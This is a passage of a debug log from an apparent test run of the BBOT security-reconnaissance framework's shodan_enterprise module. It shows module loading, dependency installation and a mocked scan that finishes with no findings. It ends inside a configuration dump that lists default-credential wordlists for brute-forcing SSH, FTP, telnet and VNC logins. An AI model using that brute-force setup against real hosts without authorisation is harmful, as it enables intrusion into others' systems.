modules.py:152 Preloading bucket_amazon from cache -2026-02-27 19:11:43,540 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 19:11:43,541 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 19:11:43,542 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 19:11:43,542 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 19:11:43,543 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 19:11:43,544 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 19:11:43,544 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 19:11:43,545 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 19:11:43,545 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 19:11:43,546 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 19:11:43,547 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 19:11:43,547 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 19:11:43,548 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 19:11:43,548 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 19:11:43,549 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 19:11:43,549 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 19:11:43,550 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 19:11:43,550 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 19:11:43,551 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 19:11:43,552 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 19:11:43,552 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 19:11:43,553 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 19:11:43,554 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 19:11:43,555 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 19:11:43,555 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 19:11:43,556 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 19:11:43,556 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 19:11:43,557 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 19:11:43,557 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 19:11:43,558 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 19:11:43,558 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 19:11:43,559 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 19:11:43,560 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 19:11:43,561 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 19:11:43,561 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 19:11:43,562 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 19:11:43,563 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 19:11:43,563 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 19:11:43,563 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 19:11:43,564 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 19:11:43,565 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 19:11:43,565 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 19:11:43,566 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 19:11:43,566 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 19:11:43,567 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 19:11:43,568 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 19:11:43,568 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 19:11:44,937 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:11:44,937 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:11:44,938 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 19:11:45,080 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 19:11:45,675 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 19:11:45,675 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 19:11:45,675 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 19:11:45,676 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 19:11:45,899 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 19:11:45,900 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 19:11:46,008 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 19:11:46,008 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 19:11:46,057 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 19:11:46,060 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 19:11:46,061 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 19:11:46,682 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 19:11:46,682 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 19:11:49,682 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 19:11:49,683 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 19:11:49,683 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 19:11:51,629 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 19:11:51,630 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 19:11:51,635 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:11:51,635 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 19:11:51,636 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 19:11:51,636 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 19:11:51,641 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/y81czify49kf9myi9fji -2026-02-27 19:11:52,704 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 19:11:52,705 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 19:11:52,705 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:11:52,705 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 19:11:52,705 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:11:52,706 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 19:11:52,706 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:11:52,706 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 19:11:52,707 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 19:11:52,829 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 19:11:52,829 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 19:11:52,829 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 19:11:52,832 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 19:11:52,832 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 19:11:52,832 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 19:11:52,833 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 19:11:52,834 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 19:11:52,834 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 19:11:52,834 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 19:11:52,835 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 19:11:52,835 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 19:11:52,835 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 19:11:52,835 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 19:11:52,836 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 19:11:52,836 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 19:11:52,836 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 19:11:52,836 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 19:11:52,837 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 19:11:52,837 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 19:11:52,837 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 19:11:52,837 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 19:11:52,837 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 19:11:52,837 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 19:11:52,837 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 19:11:52,837 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 19:11:52,838 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 19:11:52,838 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 19:11:52,838 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 19:11:52,838 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 19:11:52,839 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 19:11:52,839 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 19:11:52,839 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 19:11:52,839 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 19:11:52,839 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 19:11:52,840 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 19:11:52,840 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 19:11:52,840 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 19:11:52,840 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 19:11:52,840 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 19:11:52,841 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 19:11:52,841 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 19:11:52,841 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 19:11:52,841 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 19:11:52,844 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 19:11:52,990 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_q8s6vudj9t -2026-02-27 19:11:52,990 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 19:11:53,097 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 19:11:53,097 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 19:11:53,097 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 19:11:53,099 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'distance-1', 'domain'}) -2026-02-27 19:11:53,199 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'distance-1', 'domain'}) passed post-check -2026-02-27 19:11:53,200 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'distance-1', 'domain'}) -2026-02-27 19:11:53,202 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'distance-1', 'domain'}) in-scope because its main host matches the scan target -2026-02-27 19:11:53,203 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'domain', 'in-scope'}) -2026-02-27 19:11:53,204 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:11:53,205 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:11:53,206 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'domain', 'in-scope'}) passed post-check -2026-02-27 19:11:53,206 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'target', 'domain', 'in-scope'}) -2026-02-27 19:11:53,208 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:11:53,209 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 19:11:53,210 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:11:53,211 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:11:53,212 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:11:53,214 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:11:53,214 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 19:11:53,220 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config -2026-02-27 19:11:53,221 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) -2026-02-27 19:11:53,221 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) passed post-check -2026-02-27 19:11:53,222 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) -2026-02-27 19:11:53,222 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) -2026-02-27 19:11:53,223 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) because precheck succeeded -2026-02-27 19:11:53,300 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 19:11:53,301 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:11:53,302 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) from TARGET -2026-02-27 19:11:53,302 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'in-scope', 'unresolved', 'domain'}) passed post-check -2026-02-27 19:11:53,303 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 19:11:53,303 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 19:11:53,304 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 19:11:53,304 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 19:11:53,305 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 19:11:53,305 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 19:11:53,306 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 19:11:53,306 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 19:11:53,406 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 19:11:53,407 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 19:11:53,425 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 19:11:53,426 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 19:11:53,426 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 19:11:53,440 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 19:11:53,441 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 19:11:53,442 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 19:11:53,443 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 19:11:53,443 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 19:11:53,444 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 19:11:53,557 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_q8s6vudj9t completed in 0 seconds with status FINISHED -2026-02-27 19:11:53,557 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 19:11:53,558 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:11:53,559 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN -2026-02-27 19:11:53,559 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_enterprise_test_q8s6vudj9t', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_q8s6vudj9t', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 